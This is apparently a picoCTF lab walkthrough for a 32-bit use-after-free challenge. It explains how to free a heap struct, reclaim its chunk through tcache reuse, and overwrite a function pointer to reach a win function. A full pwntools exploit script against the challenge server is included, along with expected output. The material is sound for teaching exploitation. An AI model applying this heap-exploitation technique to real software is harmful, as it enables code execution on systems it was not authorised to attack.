Description
Exploit a use-after-free vulnerability. nc mercury.picoctf.net PORT
Setup
Download the binary and analyze it.
Install pwntools.
Find the port on the instance launch panel and substitute it for <PORT_FROM_INSTANCE>.
wget <url>/vulnchmod +x vulnchecksec vulnpip install pwntoolsSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Identify the use-after-free vulnerability
ObservationThe description names a use-after-free outright and the binary is called vuln. Disassemble it to find where a heap pointer is freed without being nulled, then reused through the dangling reference.Disassemble vuln (32-bit x86, little-endian). It allocates a user struct on the heap with two 4-byte fields: a function pointer (whatToDo) and a username pointer. The 'I' (inquire about deletion) path frees the struct without nulling the global pointer, leaving a dangling reference.bashobjdump -d vuln | grep -A20 '<main>'bashnm vuln | grep haha # find the win symbol hahaexploitgobrrrWhat didn't work first
Tried: Run strings vuln hoping to find the win function name and its address directly.
strings prints hahaexploitgobrrr as a name and gives you no address. Addresses only exist after linking and come from nm or readelf -s; strings scans for printable character runs and knows nothing about the symbol table.
Tried: Use Ghidra to look for a buffer overflow or stack smash rather than a heap UAF.
Ghidra decompiles the allocation and free paths clearly, but studying the stack frames turns up nothing: the struct is heap-allocated and there is no classic overflow here. The bug is a freed pointer that was never nulled, and it only becomes visible when you trace the doProcess indirect call back to the user pointer after the free.
Learn more
A use-after-free (UAF) bug occurs when the program continues to use a pointer after the memory it points to has been freed. The freed memory can be reclaimed by a subsequent allocation of the same size; whatever the new owner writes there shows through the dangling pointer. See heap exploitation for the broader playbook.
Step 2Find the function-pointer fire site
ObservationThe user struct holds a whatToDo function pointer. Find the indirect call in the disassembly to pin down exactly when and where the program dereferences it, which is when an overwrite would fire.The function pointer fires in the main loop: after every menu action, main calls doProcess(user), which dereferences user_ptr->whatToDo and calls it. Because user_ptr is never nulled after free, the dangling pointer is live on every iteration. Confirm the indirect call in objdump: it appears as call DWORD PTR [eax] (32-bit, not QWORD).bashobjdump -d vuln | grep -B2 -A1 'call.*\['What didn't work first
Tried: Search for call instructions using grep 'call' without filtering for indirect calls through a register or memory operand.
Plain grep 'call' matches hundreds of direct call sites (PLT stubs, library calls) and buries the one indirect call DWORD PTR [eax] that is the actual fire site. Filtering for 'call.*\[' isolates only the indirect call-through-pointer patterns, making the dangerous site visible.
Tried: Assume the function pointer fires immediately when the menu option is chosen, without looking for a secondary dispatch function.
The pointer does not fire inside the menu branch. It fires in doProcess(), which main() calls after every branch returns. Miss that post-branch call and the use-after-free window looks far too narrow, when in fact every later menu iteration is a viable trigger.
Step 3Reclaim the chunk, overwrite the fn pointer
ObservationThe leave-message path allocates an 8-byte buffer, the same size as the freed user struct. tcache is LIFO, so it hands that exact chunk back, which lets you overwrite whatToDo with the address of hahaexploitgobrrr.Send 'I' and confirm with 'Y' to free the user struct. Then send 'L' to leave a message: this calls malloc(8), which tcache hands back the just-freed chunk. Writing p32(win) + p32(0) overwrites whatToDo with the win address. On the very next main-loop iteration, doProcess(user) calls user->whatToDo() and lands in hahaexploitgobrrr.pythonpython3 - <<'EOF' from pwn import * elf = ELF('./vuln') win = elf.sym['hahaexploitgobrrr'] p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b'>', b'S') # leak: prints hahaexploitgobrrr address p.sendlineafter(b'>', b'I') # inquire about deletion: free(user); ptr not nulled p.sendlineafter(b'(Y/N)?', b'Y') p.sendlineafter(b'>', b'L') # leave message: malloc(8) reuses freed chunk p.sendlineafter(b'message:', p32(win) + p32(0)) # main loop calls doProcess(user) -> user->whatToDo() -> hahaexploitgobrrr print(p.recvall(timeout=2).decode(errors='ignore')) EOFExpected output
picoCTF{d0ubl3_j30p4rdy_...}What didn't work first
Tried: Pack the win address with p64(win) instead of p32(win) when writing the reclaim payload.
checksec shows a 32-bit ELF, so pointers are 4 bytes wide rather than 8. p64 writes 8 bytes for the address alone, which overruns the 8-byte chunk and corrupts adjacent heap metadata, so the exploit either segfaults inside malloc's unlink or lands in the wrong field. Use two 4-byte packs to match the user struct's two fields exactly.
Tried: Send the 'L' (leave message) option before sending 'I' + 'Y' to free the struct, thinking the allocation order does not matter.
tcache reuse only works once the chunk has been freed. Leave the message first and you allocate a fresh chunk at a different address, while the user struct is still live and its whatToDo field untouched. Free before the reclaiming allocation, so tcache's LIFO policy returns the same chunk.
Learn more
Step-by-step heap state. This is a 32-bit binary, so the user struct is 8 bytes (two 4-byte pointers: whatToDo and username). The message buffer from 'L' is also 8 bytes, landing in the same tcache bin:
(1) [S] Subscribe leak: user_ptr already allocated; hahaexploitgobrrr addr printed (2) [I + Y] Inquire/delete: free(user); heap: [size=0x10 | fd: NULL] <- now in tcache[0x10] user_ptr STILL POINTS HERE (dangling) (3) [L] Leave message: msg = malloc(8); read(fd, msg, 8); // p32(win)+p32(0) tcache[0x10] LIFO -> returns the same chunk heap: [size=0x10 | whatToDo: <win> | username: 0] user_ptr->whatToDo == win (aliased) (4) main loop: doProcess(user) -> user->whatToDo() jumps to hahaexploitgobrrr -> flagWhy p32? The binary is 32-bit (confirmed by checksec), so pointers are 4 bytes.
p32(win)packs the win address as a little-endian 4-byte value, followed by 4 null bytes for the username pointer field. The program reads exactly 8 bytes into the message slot, overwriting both fields of the now-freed user struct.
Interactive tools
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
Flag
Reveal flag
picoCTF{d0ubl3_j30p4rdy_...}
After free(), the memory can be reclaimed by the next malloc of the same size. Writing a function address there overwrites the struct's function pointer through the dangling reference.